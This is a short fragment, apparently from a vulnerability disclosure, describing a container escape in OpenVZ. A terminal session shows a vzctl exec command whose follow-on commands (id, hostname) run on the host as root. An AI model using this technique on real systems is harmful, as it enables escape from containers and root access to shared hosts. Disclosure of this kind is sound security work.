Expoiting OpenVZ is even simplier, there is a read() call somewhere
when removing the global lock.

debian:~# vzctl exec 100 rm /dev/shm/GotMail
rm: cannot remove `/dev/shm/GotMail': No such file or directory
Error in waitpid(3): No child processes
id
hostname
debian:~# id
uid=0(root) gid=0(root) groups=0(root)
debian:~# hostname
debian